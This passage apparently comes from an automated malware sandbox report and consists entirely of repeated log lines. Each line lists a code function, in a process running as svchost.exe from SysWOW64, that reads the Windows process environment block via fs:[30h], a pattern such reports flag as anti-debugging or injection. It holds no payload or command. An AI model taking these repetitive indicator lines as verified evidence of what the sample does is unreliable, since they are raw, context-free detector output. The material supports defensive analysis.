                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]2_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]2_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]2_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]2_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]2_2_0343A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B2C0 mov eax, dword ptr fs:[00000030h]2_2_0345B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B2C0 mov eax, dword ptr fs:[00000030h]2_2_0345B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B2C0 mov eax, dword ptr fs:[00000030h]2_2_0345B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B2C0 mov eax, dword ptr fs:[00000030h]2_2_0345B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B2C0 mov eax, dword ptr fs:[00000030h]2_2_0345B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B2C0 mov eax, dword ptr fs:[00000030h]2_2_0345B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B2C0 mov eax, dword ptr fs:[00000030h]2_2_0345B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034392C5 mov eax, dword ptr fs:[00000030h]2_2_034392C5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034392C5 mov eax, dword ptr fs:[00000030h]2_2_034392C5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B2D3 mov eax, dword ptr fs:[00000030h]2_2_0342B2D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B2D3 mov eax, dword ptr fs:[00000030h]2_2_0342B2D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B2D3 mov eax, dword ptr fs:[00000030h]2_2_0342B2D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345F2D0 mov eax, dword ptr fs:[00000030h]2_2_0345F2D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345F2D0 mov eax, dword ptr fs:[00000030h]2_2_0345F2D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED mov eax, dword ptr fs:[00000030h]2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]2_2_034402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]2_2_034402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]2_2_034402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_035052E2 mov eax, dword ptr fs:[00000030h]2_2_035052E2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EF2F8 mov eax, dword ptr fs:[00000030h]2_2_034EF2F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034292FF mov eax, dword ptr fs:[00000030h]2_2_034292FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346E284 mov eax, dword ptr fs:[00000030h]2_2_0346E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346E284 mov eax, dword ptr fs:[00000030h]2_2_0346E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]2_2_034B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]2_2_034B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]2_2_034B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03505283 mov eax, dword ptr fs:[00000030h]2_2_03505283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346329E mov eax, dword ptr fs:[00000030h]2_2_0346329E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346329E mov eax, dword ptr fs:[00000030h]2_2_0346329E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034402A0 mov eax, dword ptr fs:[00000030h]2_2_034402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034402A0 mov eax, dword ptr fs:[00000030h]2_2_034402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034452A0 mov eax, dword ptr fs:[00000030h]2_2_034452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034452A0 mov eax, dword ptr fs:[00000030h]2_2_034452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034452A0 mov eax, dword ptr fs:[00000030h]2_2_034452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034452A0 mov eax, dword ptr fs:[00000030h]2_2_034452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F92A6 mov eax, dword ptr fs:[00000030h]2_2_034F92A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F92A6 mov eax, dword ptr fs:[00000030h]2_2_034F92A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F92A6 mov eax, dword ptr fs:[00000030h]2_2_034F92A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F92A6 mov eax, dword ptr fs:[00000030h]2_2_034F92A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]2_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C62A0 mov ecx, dword ptr fs:[00000030h]2_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]2_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]2_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]2_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]2_2_034C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C72A0 mov eax, dword ptr fs:[00000030h]2_2_034C72A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C72A0 mov eax, dword ptr fs:[00000030h]2_2_034C72A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B92BC mov eax, dword ptr fs:[00000030h]2_2_034B92BC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B92BC mov eax, dword ptr fs:[00000030h]2_2_034B92BC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B92BC mov ecx, dword ptr fs:[00000030h]2_2_034B92BC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B92BC mov ecx, dword ptr fs:[00000030h]2_2_034B92BC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03505152 mov eax, dword ptr fs:[00000030h]2_2_03505152
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]2_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]2_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C4144 mov ecx, dword ptr fs:[00000030h]2_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]2_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]2_2_034C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429148 mov eax, dword ptr fs:[00000030h]2_2_03429148
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429148 mov eax, dword ptr fs:[00000030h]2_2_03429148
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429148 mov eax, dword ptr fs:[00000030h]2_2_03429148
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429148 mov eax, dword ptr fs:[00000030h]2_2_03429148
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03437152 mov eax, dword ptr fs:[00000030h]2_2_03437152
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342C156 mov eax, dword ptr fs:[00000030h]2_2_0342C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C8158 mov eax, dword ptr fs:[00000030h]2_2_034C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03436154 mov eax, dword ptr fs:[00000030h]2_2_03436154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03436154 mov eax, dword ptr fs:[00000030h]2_2_03436154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F172 mov eax, dword ptr fs:[00000030h]2_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C9179 mov eax, dword ptr fs:[00000030h]2_2_034C9179
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034DA118 mov ecx, dword ptr fs:[00000030h]2_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]2_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]2_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]2_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F0115 mov eax, dword ptr fs:[00000030h]2_2_034F0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03460124 mov eax, dword ptr fs:[00000030h]2_2_03460124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03431131 mov eax, dword ptr fs:[00000030h]2_2_03431131
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03431131 mov eax, dword ptr fs:[00000030h]2_2_03431131
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B136 mov eax, dword ptr fs:[00000030h]2_2_0342B136
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B136 mov eax, dword ptr fs:[00000030h]2_2_0342B136
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B136 mov eax, dword ptr fs:[00000030h]2_2_0342B136
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B136 mov eax, dword ptr fs:[00000030h]2_2_0342B136
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F61C3 mov eax, dword ptr fs:[00000030h]2_2_034F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F61C3 mov eax, dword ptr fs:[00000030h]2_2_034F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346D1D0 mov eax, dword ptr fs:[00000030h]2_2_0346D1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346D1D0 mov ecx, dword ptr fs:[00000030h]2_2_0346D1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]2_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]2_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]2_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]2_2_034AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_035051CB mov eax, dword ptr fs:[00000030h]2_2_035051CB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034551EF mov eax, dword ptr fs:[00000030h]2_2_034551EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034351ED mov eax, dword ptr fs:[00000030h]2_2_034351ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034D71F9 mov esi, dword ptr fs:[00000030h]2_2_034D71F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_035061E5 mov eax, dword ptr fs:[00000030h]2_2_035061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034601F8 mov eax, dword ptr fs:[00000030h]2_2_034601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03470185 mov eax, dword ptr fs:[00000030h]2_2_03470185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EC188 mov eax, dword ptr fs:[00000030h]2_2_034EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EC188 mov eax, dword ptr fs:[00000030h]2_2_034EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]2_2_034B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]2_2_034B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]2_2_034B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]2_2_034B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]2_2_0342A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]2_2_0342A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]2_2_0342A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03487190 mov eax, dword ptr fs:[00000030h]2_2_03487190
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E11A4 mov eax, dword ptr fs:[00000030h]2_2_034E11A4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E11A4 mov eax, dword ptr fs:[00000030h]2_2_034E11A4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E11A4 mov eax, dword ptr fs:[00000030h]2_2_034E11A4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E11A4 mov eax, dword ptr fs:[00000030h]2_2_034E11A4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344B1B0 mov eax, dword ptr fs:[00000030h]2_2_0344B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03432050 mov eax, dword ptr fs:[00000030h]2_2_03432050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034D705E mov ebx, dword ptr fs:[00000030h]2_2_034D705E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034D705E mov eax, dword ptr fs:[00000030h]2_2_034D705E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B052 mov eax, dword ptr fs:[00000030h]2_2_0345B052
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B6050 mov eax, dword ptr fs:[00000030h]2_2_034B6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B106E mov eax, dword ptr fs:[00000030h]2_2_034B106E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03505060 mov eax, dword ptr fs:[00000030h]2_2_03505060
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov ecx, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441070 mov eax, dword ptr fs:[00000030h]2_2_03441070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345C073 mov eax, dword ptr fs:[00000030h]2_2_0345C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AD070 mov ecx, dword ptr fs:[00000030h]2_2_034AD070
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B4000 mov ecx, dword ptr fs:[00000030h]2_2_034B4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]2_2_0344E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]2_2_0344E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]2_2_0344E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]2_2_0344E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342A020 mov eax, dword ptr fs:[00000030h]2_2_0342A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342C020 mov eax, dword ptr fs:[00000030h]2_2_0342C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F903E mov eax, dword ptr fs:[00000030h]2_2_034F903E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F903E mov eax, dword ptr fs:[00000030h]2_2_034F903E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F903E mov eax, dword ptr fs:[00000030h]2_2_034F903E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F903E mov eax, dword ptr fs:[00000030h]2_2_034F903E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov ecx, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov ecx, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov ecx, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov ecx, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C0 mov eax, dword ptr fs:[00000030h]2_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_035050D9 mov eax, dword ptr fs:[00000030h]2_2_035050D9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AD0C0 mov eax, dword ptr fs:[00000030h]2_2_034AD0C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AD0C0 mov eax, dword ptr fs:[00000030h]2_2_034AD0C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B20DE mov eax, dword ptr fs:[00000030h]2_2_034B20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034590DB mov eax, dword ptr fs:[00000030h]2_2_034590DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034550E4 mov eax, dword ptr fs:[00000030h]2_2_034550E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034550E4 mov ecx, dword ptr fs:[00000030h]2_2_034550E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0342A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034380E9 mov eax, dword ptr fs:[00000030h]2_2_034380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B60E0 mov eax, dword ptr fs:[00000030h]2_2_034B60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342C0F0 mov eax, dword ptr fs:[00000030h]2_2_0342C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034720F0 mov ecx, dword ptr fs:[00000030h]2_2_034720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343208A mov eax, dword ptr fs:[00000030h]2_2_0343208A
